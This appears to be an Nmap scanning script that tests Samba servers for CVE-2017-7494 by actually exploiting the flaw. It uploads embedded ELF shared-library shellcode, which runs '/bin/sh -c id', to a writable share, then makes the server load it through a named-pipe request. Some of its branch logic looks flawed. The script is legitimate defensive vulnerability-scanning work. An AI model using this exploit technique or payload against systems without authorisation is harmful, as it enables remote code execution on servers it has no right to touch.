| local smb = require "smb" |
| local string = require "string" |
| local vulns = require "vulns" |
| local stdnse = require "stdnse" |
| local table = require "table" |
| local nmap = require "nmap" |
| |
| description = [[ |
| Checks if target machines are vulnerable to the arbitrary shared library load |
| vulnerability CVE-2017-7494. |
| |
| Unpatched versions of Samba from 3.5.0 to 4.4.13, and versions prior to |
| 4.5.10 and 4.6.4 are affected by a vulnerability that allows remote code |
| execution, allowing a malicious client to upload a shared library to a writable |
| share, and then cause the server to load and execute it. |
| |
| The script does not scan the version numbers by default as the patches released |
| for the mainstream Linux distributions do not change the version numbers. |
| |
| The script checks the preconditions for the exploit to happen: |
| |
| 1) If the argument check-version is applied, the script will ONLY check |
| services running potentially vulnerable versions of Samba, and run the |
| exploit against those services. This is useful if you wish to scan a |
| group of hosts quickly for the vulnerability based on the version number. |
| However, because of ther version number, some patched versions may still |
| show up as likely vulnerable. Here, we use smb.get_os(host) to do |
| versioning of the Samba version and compare it to see if it is a known |
| vulnerable version of Samba. Note that this check is not conclusive: |
| See 2,3,4 |
| |
| 2) Whether there exists writable shares for the execution of the script. |
| We must be able to write to a file to the share for the exploit to |
| take place. We hence enumerate the shares using |
| smb.share_find_writable(host) which returns the main_name, main_path |
| and a list of writable shares. |
| |
| 3) Whether the workaround (disabling of named pipes) was applied. |
| When "nt pipe support = no" is configured on the host, the service |
| would not be exploitable. Hence, we check whether this is configured |
| on the host using smb.share_get_details(host, 'IPC$'). The error |
| returned would be "NT_STATUS_ACCESS_DENIED" if the workaround is |
| applied. |
| |
| 4) Whether we can invoke the payloads from the shares. |
| Using payloads from Metasploit, we upload the library files to |
| the writable share obtained from 2). We then make a named pipe request |
| using NT_CREATE_ANDX_REQUEST to the actual local filepath and if the |
| payload executes, the status return will be false. Note that only |
| Linux_x86 and Linux_x64 payloads are tested in this script. |
| |
| This script is based on the metasploit module written by hdm. |
| |
| References: |
| * https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/samba/is_known_pipename.rb |
| * https://www.samba.org/samba/security/CVE-2017-7494.html |
| * http://blog.nsfocus.net/samba-remote-code-execution-vulnerability-analysis/ |
| ]] |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| author = "Wong Wai Tuck" |
| license = "Same as Nmap--See https://nmap.org/book/man-legal.html" |
| categories = {"vuln","intrusive"} |
| |
| hostrule = function(host) |
| return smb.get_port(host) ~= nil |
| end |
| |
| dependencies = {"smb-os-discovery", "smb-brute"} |
| |
| |
| local PAYLOAD_X86 = { |
| 0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x03, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, |
| 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00, |
| 0x02, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x00, 0x00, 0x00, 0x00, 0x1C, 0x01, 0x00, 0x00, 0x42, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, |
| 0x00, 0x10, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, |
| 0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, |
| 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, |
| 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, |
| 0xF4, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, |
| 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x0B, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2D, 0x63, 0x89, |
| 0xE7, 0x68, 0x2F, 0x73, 0x68, 0x00, 0x68, 0x2F, 0x62, 0x69, 0x6E, 0x89, 0xE3, 0x52, 0xE8, 0x03, |
| 0x00, 0x00, 0x00, 0x69, 0x64, 0x00, 0x57, 0x53, 0x89, 0xE1, 0xCD, 0x80, |
| } |
| |
| |
| local PAYLOAD_X64 = { |
| 0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x03, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x02, 0x00, 0x01, 0x00, |
| 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0xBC, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, |
| 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, |
| 0x00, 0x00, 0x6A, 0x3B, 0x58, 0x99, 0x48, 0xBB, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, |
| 0x53, 0x48, 0x89, 0xE7, 0x68, 0x2D, 0x63, 0x00, 0x00, 0x48, 0x89, 0xE6, 0x52, 0xE8, 0x03, 0x00, |
| 0x00, 0x00, 0x69, 0x64, 0x00, 0x56, 0x57, 0x48, 0x89, 0xE6, 0x0F, 0x05, |
| } |
| |
| PAYLOAD_X86 = string.char(table.unpack(PAYLOAD_X86)) |
| PAYLOAD_X64 = string.char(table.unpack(PAYLOAD_X64)) |
| |
| |
| local COMMON_DIRS = {"/volume1/","/volume2/","/volume3/","/volume4/", |
| "/shared/","/mnt/","/mnt/usb/","/media/","/mnt/media/","/var/samba/", |
| "/tmp/","/home/","/home/shared/"} |
| |
| |
| local FILENAME = 'test.so' |
| |
| local payloads = {PAYLOAD_X86, PAYLOAD_X64} |
| |
| |
| |
| |
| |
| |
| |
| |
| local function determine_vuln_version(version, samba_cve) |
| local major, minor, patch |
| major, minor, patch = string.match(version,"(%d+)%.(%d+)%.(%d+).*") |
| stdnse.debug("Major version: %s, Minor version: %s, Patch version: %s", major, minor, patch) |
| major, minor, patch = tonumber(major), tonumber(minor), tonumber(patch) |
| |
| |
| if major == 3 and minor >= 5 then |
| samba_cve.state = vulns.STATE.LIKELY_VULN |
| elseif major == 4 then |
| if minor < 4 then |
| samba_cve.state = vulns.STATE.LIKELY_VULN |
| |
| elseif minor == 4 and patch < 14 then |
| samba_cve.state = vulns.STATE.LIKELY_VULN |
| |
| elseif minor == 5 and patch < 10 then |
| samba_cve.state = vulns.STATE.LIKELY_VULN |
| |
| elseif minor == 6 and patch < 4 then |
| samba_cve.state = vulns.STATE.LIKELY_VULN |
| end |
| end |
| end |
| |
| |
| |
| |
| |
| |
| |
| |
| local function find_writable_shares(host, samba_cve) |
| |
| local status, main_name, main_path, names |
| status, main_name, main_path, names = smb.share_find_writable(host) |
| |
| |
| if status then |
| local msg = string.format("Writable share found. \n Name: %s", main_name) |
| if main_path then |
| msg = msg .. string.format("\n Path: %s ", main_path) |
| end |
| |
| |
| table.insert(samba_cve.check_results, msg) |
| |
| |
| if #names > 0 then |
| table.insert(samba_cve.extra_info, string.format( |
| "All writable shares:")) |
| end |
| for i = 1, #names, 1 do |
| table.insert(samba_cve.extra_info, string.format(" Name: %s", main_name)) |
| end |
| else |
| |
| local err = main_name |
| table.insert(samba_cve.extra_info, err) |
| main_name = nil |
| end |
| |
| |
| |
| |
| if main_path then |
| main_path = "/" .. string.sub(main_path, 4) .. "/" |
| end |
| |
| return main_name, main_path |
| end |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| local function is_ntpipesupport_enabled(host, samba_cve) |
| |
| |
| local status, result |
| status, result = smb.share_get_details(host, 'IPC$') |
| |
| if status and result['details'] == "NT_STATUS_ACCESS_DENIED" then |
| samba_cve.state = vulns.STATE.NOT_VULN |
| return false |
| elseif not status then |
| |
| local err = result |
| table.insert(samba_cve.extra_info, err) |
| end |
| |
| return true |
| end |
| |
| |
| |
| |
| |
| |
| local function enumerate_directories(share_name) |
| local candidates = {} |
| |
| |
| for i = 1, #COMMON_DIRS, 1 do |
| table.insert(candidates, COMMON_DIRS[i]) |
| table.insert(candidates, COMMON_DIRS[i] .. share_name) |
| table.insert(candidates, COMMON_DIRS[i] .. string.upper(share_name)) |
| table.insert(candidates, COMMON_DIRS[i] .. string.lower(share_name)) |
| table.insert(candidates, COMMON_DIRS[i] .. string.gsub(share_name, " ", "_")) |
| end |
| |
| return candidates |
| end |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| local function test_cve2017_7494(host, samba_cve, payloads, name, path) |
| local status, result, err, share_name |
| local candidates = {} |
| |
| |
| |
| |
| for i, l_payload in ipairs(payloads) do |
| for _, anon in ipairs({true, false}) do |
| status, err = smb.file_write(host, l_payload, name, |
| tostring(i) .. FILENAME, anon) |
| stdnse.debug1("Write file status %s , err %s", status, err) |
| if status then break end |
| end |
| end |
| |
| |
| if path then |
| table.insert(candidates, path) |
| else |
| share_name = string.match(name, "\\\\.*\\(.*)") .. '/' |
| candidates = enumerate_directories(share_name) |
| end |
| |
| |
| for h = 1, #payloads, 1 do |
| local l_filename = tostring(h) .. FILENAME |
| |
| for i = 1, #candidates, 1 do |
| local path = candidates[i] .. l_filename |
| local pipe_formats = {"\\\\PIPE\\".. path , path} |
| |
| for j = 1, #pipe_formats, 1 do |
| local curr_path = pipe_formats[j] |
| |
| local status, smbstate = smb.start_ex(host, true, true, "\\\\" .. |
| host.ip .. "\\IPC$", nil, nil, nil) |
| if not status then |
| stdnse.debug1("Could not connect to IPC$") |
| else |
| local overrides = {} |
| |
| overrides['file_create_disposition'] = 0x1 |
| overrides['file_create_security_flags'] = 0x0 |
| |
| stdnse.debug1("Trying path : %s", curr_path) |
| status, result = smb.create_file(smbstate, curr_path, overrides) |
| stdnse.debug1("Status: %s, Result: %s", status, result) |
| |
| if not status and string.match(result, "SMB: ERROR: Server disconnected the connection") then |
| samba_cve.state = vulns.STATE.VULN |
| table.insert(samba_cve.check_results, |
| "Exploitation of CVE-2017-7494 succeeded!") |
| return |
| end |
| end |
| end |
| end |
| end |
| if samba_cve.state ~= vulns.STATE.VULN and not path then |
| samba_cve.state = vulns.STATE.LIKELY_VULN |
| table.insert(samba_cve.check_results, |
| 'File written to remote share, but unable to execute payload either due to unknown actual path, or the system may be patched.') |
| end |
| end |
| |
| action = function(host,port) |
| local port = nmap.get_port_state(host,{number=smb.get_port(host),protocol='tcp'}) |
| |
| local result, stats |
| local response = {} |
| |
| local samba_cve = { |
| title = "SAMBA Remote Code Execution from Writable Share", |
| IDS = {CVE = 'CVE-2017-7494'}, |
| risk_factor = "HIGH", |
| scores = { |
| CVSSv3 = "7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)" |
| }, |
| description = [[ |
| All versions of Samba from 3.5.0 onwards are vulnerable to a remote |
| code execution vulnerability, allowing a malicious client to upload a |
| shared library to a writable share, and then cause the server to load |
| and execute it. |
| ]], |
| references = { |
| 'https://www.samba.org/samba/security/CVE-2017-7494.html', |
| }, |
| dates = { |
| disclosure = {year = '2017', month = '05', day = '24'}, |
| }, |
| check_results = {}, |
| extra_info = {} |
| } |
| |
| local report = vulns.Report:new(SCRIPT_NAME, host, port) |
| samba_cve.state = vulns.STATE.NOT_VULN |
| |
| local check_version = stdnse.get_script_args(SCRIPT_NAME .. ".check-version") or false |
| |
| if check_version and string.lower(check_version) == "false" then |
| check_version = nil |
| end |
| |
| local version = port.version.version |
| |
| |
| if not version then |
| local status, result = smb.get_os(host) |
| |
| if(status == false) then |
| return stdnse.format_output(false, result) |
| end |
| |
| |
| |
| |
| if string.match(result.lanmanager,"^Samba ") then |
| version = string.match(result.lanmanager,"^Samba (.*)") |
| else |
| return stdnse.format_output(false, |
| "Either versioning failed or samba does not exist on the port!") |
| end |
| end |
| |
| table.insert(samba_cve.check_results, |
| string.format("Samba Version: %s",version)) |
| |
| if check_version then |
| stdnse.debug("Port Version: %s", port.version.version) |
| |
| determine_vuln_version(version, samba_cve) |
| |
| |
| |
| |
| |
| |
| elseif (check_version and samba_cve == vulns.STATE.LIKELY_VULN) or not check_version then |
| local name, path |
| |
| name, path = find_writable_shares(host, samba_cve) |
| stdnse.debug1("Writable share name: %s, Path returned: %s", name, path) |
| |
| |
| local ntpipe_enabled = is_ntpipesupport_enabled(host, samba_cve) |
| |
| |
| |
| |
| |
| |
| |
| |
| if name and ntpipe_enabled then |
| test_cve2017_7494(host, samba_cve, payloads, name, path) |
| |
| for i, _ in ipairs(payloads) do |
| smb.file_delete(host, name, tostring(i) .. FILENAME) |
| end |
| end |
| |
| end |
| |
| return report:make_output(samba_cve) |
| end |